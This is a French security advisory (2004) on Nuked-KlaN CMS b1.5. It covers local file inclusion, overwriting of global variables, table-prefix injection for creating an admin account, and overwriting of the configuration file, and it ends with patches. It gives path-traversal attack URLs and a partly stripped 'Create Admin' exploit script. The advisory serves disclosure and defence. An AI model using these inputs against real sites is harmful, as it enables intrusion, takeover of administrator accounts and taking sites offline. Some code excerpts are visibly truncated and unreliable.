Nuked-KlaN
**********
Informations :
°°°°°°°°°°°°°°
Langage : PHP
Version : b1.5, b1.4 (et moins?)
Website : http://www.nuked-klan.org
Problème :
- Ecrasement du fichier de configuration
- Inclusions de fichiers internes
- Redéfinitions des variables globales
Developpement :
°°°°°°°°°°°°°°°
Nuked-KlaN est un CMS complet avec plusieurs modules et permettant le rajout d'autres encore, bref du style PHP-Nuke.
Au début du fichier index.php, on voit que le fichier nuked.php est inclut :
----------------------
include ("nuked.php");
----------------------
Dans ce fichier nuked.php, on voit les lignes :
---------------------------------------------------
[...]
include ("conf.inc.php");
[...]
if ($user_langue == ""){$language=$nuked[langue];}
else {$language=$user_langue;}
include ("lang/$language");
[...]
---------------------------------------------------
Un fichier "lang/$language" est donc inclut.
Cette variable peut être modifiée par n'importe qui, par le biais de la variable $user_langue.
On pourra donc inclure n'importe quel fichier du disque dur avec une url du type :
http://[target]/index.php?user_langue=../../../../../file/to/view
et ce dans les versions b1.5 et moins.
Dans cette version b1.5 uniquement se trouvent plusieurs autres failles.
Dans le fichier globals.php se trouvent les lignes suivantes :
-------------------------------
[...]
nk_globals('HTTP_GET_VARS');
nk_globals('HTTP_POST_VARS');
nk_globals('HTTP_COOKIE_VARS');
nk_globals('HTTP_SERVER_VARS');
[...]
-------------------------------
La fonction nk_globals(), elle, est située dans le fichier nuked.php :
---------------------------------------------------
function nk_globals($table) {
if (is_array($GLOBALS[$table])) {
reset($GLOBALS[$table]);
while (list($key, $val) = each($GLOBALS[$table])) {
$GLOBALS[$key] = $val;
}
}
}
---------------------------------------------------
Cette fonction va donc créer des variables globales dont les noms et les valeurs se trouvent dans la variable $table.
Il se fait donc qu'ici les tableaux sont les variables passées en GET, POST, COOKIE et les variables SERVER.
L'exécution de ces lignes dans globals.php a donc comme consèquence de transformer toutes les variables GET POST COOKIE
en variables globales. Le problème vient du fait que cette fonction ne tiens pas compte du fait que ces variables
sont peut-être déjà définies en global quelque part dans le script : elle écrase les anciennes valeurs.
Si on arrive donc à inclure le fichier globals.php après la définition des variables de configuration (définies dans
conf.inc.php) dans un fichier où est inclut nuked.php, on pourra alors les redéfinir à partir de l'endroit où
est inclut globals.php dans le script et peut-être en faire quelque chose.
Il se fait que c'est justement possible dans le fichier index.php où on voit par exemple le code :
-------------------------------------------------------
[...]
if($page!=""){$im_file="$page";}else{$im_file="index";}
}
if (is_file("modules/$file/$im_file.php") ){
include("modules/$file/$im_file.php");
}else{
include("modules/404/index.php");
}
[...]
-------------------------------------------------------
qui pourra inclure globals.php grâce à une url du type :
http://[target]/index.php?file=..&page=globals
On pourra alors redéfinir les variables de configuration dans tout le code qui suit.
Ce dernier se résume à peu de choses : la fonction footer().
Mais globals.php peut aussi être inclut grâce à la première faille vue plus haut, par exemple avec l'url :
http://[target]/index.php?user_langue=../globals.php
ce qui est beaucoup plus grave car cela pourrait permettre de redéfinir les variables de configuration dans n'importe
quel module ! Par exemple dans le module Suggest (modules/Suggest/index.php), on voit :
---------------------------------------------------------------------------------------------------------------
[...]
function add_sug($data)
{
global $user, $module, $nuked;
opentable();
include("modules/Suggest/modules/$module.php");
$date=time();
$content=make_array($data);
$sql=mysql_query("INSERT INTO $nuked[prefix]"._suggest." VALUES ('','$module','$user[0]','$content','$date')");
echo"
"._YOURSUGGEST."
"._THXPART."
";
redirect("index.php?file=$module",2);
closetable();
}
[...]
---------------------------------------------------------------------------------------------------------------
Ainsi en changeant la variable $nuked[prefix], on peut insérer n'importe quel enregistrement dans n'importe quelle table.
Ce problème peut être simplement utilisé avec un fichier PHP du style :
----------------------------------------------------------------------------------------------------------------------------
Nuked-KlaN b1.5 Create Admin
function ascii_sql($str) {
for ($i=0;$i < strlen($str);$i++) {
if ($i == strlen($str)-1){
$ascii_char.=ord(substr($str,$i));
}else{
$ascii_char.=ord(substr($str,$i)).',';
}
}
return $ascii_char;
}
if (isset($_POST["submit"])){
echo "";
echo "
Admin should have been created.";
}else{
?>
}
?>
----------------------------------------------------------------------------------------------------------------------------
pour créer un admin.
Un dernier problème dans la version b1.5 est le fichier update.php.
On y trouve le code :
----------------------------------------------------------------------------------
[...]
include ("globals.php");
[...]
function install()
{
global $langue;
include ("lang/$langue");
[...]
}
[...]
function edit_config($op)
{
global $langue,$langname;
include ("lang/$langue");
[...]
}
[...]
function update_config($vars)
{
[...]
include ("lang/$vars[langue]");
[...]
$content = "';
$fp = fopen('conf.inc.php', w);
if (!$fp) die (sprintf('Erreur File Open','conf.inc.php','conf.inc.php'));
fwrite($fp, $content);
fclose($fp);
[...]
}
[...]
switch ($action)
{
[...]
case"edit_config":
edit_config($_GET['op']);
break;
case"update_config":
update_config($_POST);
break;
case"install":
install();
break;
[...]
}
?>
----------------------------------------------------------------------------------
Ce fichier peut lui aussi inclure n'importe quel fichier local grâce à la variable $langue.
De plus la fonction update_config() peut servir à écraser le fichier de configuration, mettant le site down.
Toutes ces failles fonctionnent quelle que soit la position de register_globals à cause de ce fameux fichier globals.php.
Solution :
°°°°°°°°°°
Un patch est disponible sur phpSecure ( http://www.phpsecure.info ).
Merci au webmaster et créateur de Nuked-KlaN, qui a réagit rapidement et efficacement.
Dans globals.php, il faut remplacer les lignes :
-------------------------------
nk_globals('HTTP_GET_VARS');
nk_globals('HTTP_POST_VARS');
nk_globals('HTTP_COOKIE_VARS');
nk_globals('HTTP_SERVER_VARS');
-------------------------------
par :
---------------------------------------
if (!get_ini("register_globals")){
nk_globals('HTTP_GET_VARS');
nk_globals('HTTP_POST_VARS');
nk_globals('HTTP_COOKIE_VARS');
nk_globals('HTTP_SERVER_VARS');
}
---------------------------------------
Ne faisaint exécuter nk_globals() que si register_globals=OFF.
Et dans nuked.php, remplacer les lignes :
----------------------------------------------------
function nk_globals($table) {
if (is_array($GLOBALS[$table])) {
reset($GLOBALS[$table]);
while (list($key, $val) = each($GLOBALS[$table])) {
$GLOBALS[$key] = $val;
}
}
}
----------------------------------------------------
par:
-----------------------------------------------------------------------------
function nk_globals($table) {
if (is_array($GLOBALS[$table])) {
reset($GLOBALS[$table]);
while (list($key, $val) = each($GLOBALS[$table])) {
if (!isset($GLOBALS[$key])){ $GLOBALS[$key] = $val; }
}
}
}
-----------------------------------------------------------------------------
Ce qui ne donne une valeur à cette variable que si elle n'en a pas déjà.
Et après les lignes :
--------------------------------------------------
if ($user_langue == ""){$language=$nuked[langue];}
else {$language=$user_langue;}
--------------------------------------------------
ajouter les lignes :
-----------------------------------------------------------------------
if ( eregi("\.\.",$theme) || eregi("\.\.",$page) || eregi("\.\.",$file)
|| eregi("\0",$theme) || eregi("\0",$page) || eregi("\0",$file) ||
eregi("\.\.",$user_langue) || !file_exists("lang/$language") ){
die("What are you trying to do ?");
}
-----------------------------------------------------------------------
Ce qui empêche toute mauvaise inclusion de fichier.
Credits :
°°°°°°°°°
Auteur : frog-m@n
E-mail : leseulfrog@hotmail.com
Website : http://www.phpsecure.info
Date : 23/03/04